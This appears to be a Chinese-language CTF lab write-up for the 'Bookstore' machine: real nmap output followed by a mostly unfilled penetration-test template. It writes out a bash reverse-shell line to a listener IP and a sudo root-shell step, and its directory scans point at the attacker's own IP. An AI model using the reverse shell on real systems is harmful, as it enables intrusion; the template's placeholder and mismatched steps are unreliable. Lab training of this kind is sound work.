具有基本 Web 枚举和 REST API 模糊测试的初级框。
🚀 靶场概述
难度: 中 描述: 具有基本 Web 枚举和 REST API 模糊测试的初级框。 Bookstore 是一台 boot2root CTF 机器,它教初学者渗透测试人员基本的 Web 枚举和 REST API 模糊测试
📋 基本信息
| 🚀 | 本地机器信息 | 目标机器信息 |
|---|---|---|
| IP | 10.17.5.121 | 10.10.96.141 |
| OS | Kali |
信息搜集
1. 🛠️ 端口扫描
- 使用工具如
nmap或masscan进行端口扫描,发现目标机器开放的端口。
┌──(leo㉿HACK)-[~/SecLab/bookstoreoc] └─$ nmap -sCV -p22,80,5000 $ip -T4 Starting Nmap 7.80 ( https://nmap.org ) at 2024-11-22 23:54 HKT Nmap scan report for 10.10.96.141 Host is up (0.26s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA) | 256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA) |_ 256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |http-title: Book Store 5000/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9) | http-robots.txt: 1 disallowed entry |/api
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9 |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.16 seconds
```
2. 🔎 路径探测
- 扫描网站或系统的开放路径,寻找潜在的漏洞。
gobuster dir -u http://10.17.5.121 -w /usr/share/wordlists/dirb/common.txt dirb http://10.17.5.121
3. 🧰 服务枚举
- 对服务进行详细的枚举,寻找潜在漏洞。
- 使用工具如
nmap、nikto、dirbuster等。
- 使用工具如
🧠 渗透思路
1. ⚡ 攻击向量
- 根据目标机器暴露的服务和漏洞,选择攻击路径。
- 如 Web 漏洞、SSH 漏洞等。
2. 💥 nday 利用
- 查找未打补丁的漏洞,利用公开的 nday 漏洞。
- 通过 Metasploit 或自定义脚本进行利用。
3. 🔍 信息审计
- 审计目标系统,查找敏感信息或配置错误。
- 通过配置文件、日志文件等进行信息审计。
🌐 Web 渗透测试
- Web 漏洞扫描:使用 Burp Suite、Nikto 等工具进行 Web 应用的扫描。
- 漏洞利用:利用常见漏洞,如 SQL 注入、XSS 等,进行进一步测试。
🔐 横向移动与后渗透操作
- 横向移动:一旦获取基础 shell,搜索网络内其他潜在目标,进行横向渗透。
- 后渗透操作:
- 获取敏感信息(如数据库、用户凭证)。
- 持久化访问,通过反向 shell、计划任务等手段保持连接。
🕵️♂️ 漏洞利用
漏洞名称:<漏洞名称>
- 描述:<漏洞描述>
- 利用过程:
- 漏洞分析:<简要描述漏洞的成因>
- 编写利用脚本 或 使用现有工具:<如何利用>
- 验证漏洞是否有效:<验证步骤>
- 获取相关权限或信息:<攻击目标后获取的权限>
💻 getshell
- 描述:通过漏洞获取目标机器的 shell(命令行访问)。
- 步骤:
- 使用反向 shell 获取访问权限:
nc -lvnp 4444 bash -i >& /dev/tcp/10.17.5.121/4444 0>&1 - 验证 shell 是否成功:
whoami id
- 使用反向 shell 获取访问权限:
🔨 提权
- 描述:在目标系统中进行权限提升,获取 root 权限。
- 步骤:
- 查看当前用户和权限:
whoami id - 查找本地提权漏洞或配置错误:
- 使用
linpeas、GTFOBins查找提权方法。
- 使用
- 提升权限至 root 用户:
sudo /bin/bash # 提升为 root
- 查看当前用户和权限:
📚 知识点回顾
- 信息搜集技巧:
- 端口扫描与服务枚举技巧。
- Web 漏洞检测技巧(SQL 注入、XSS 等)。
- 漏洞利用技巧:
- 如何使用 Metasploit 或自行编写漏洞利用脚本。
- 获取反向 shell 与持续访问。
- Post-Exploitation 技巧:
- 获取目标的敏感信息和访问权限。
- 提升权限,进行横向移动。
🧳 攻击链与流程图
- 可视化渗透测试的整体攻击过程,确保每一步都清晰。
📅 总结
- 成功步骤:简要描述成功的渗透测试步骤和关键点。
- 遇到的困难与挑战:列出在过程中遇到的难点及解决方案。
- 后续建议:对靶场的进一步探索或防御建议。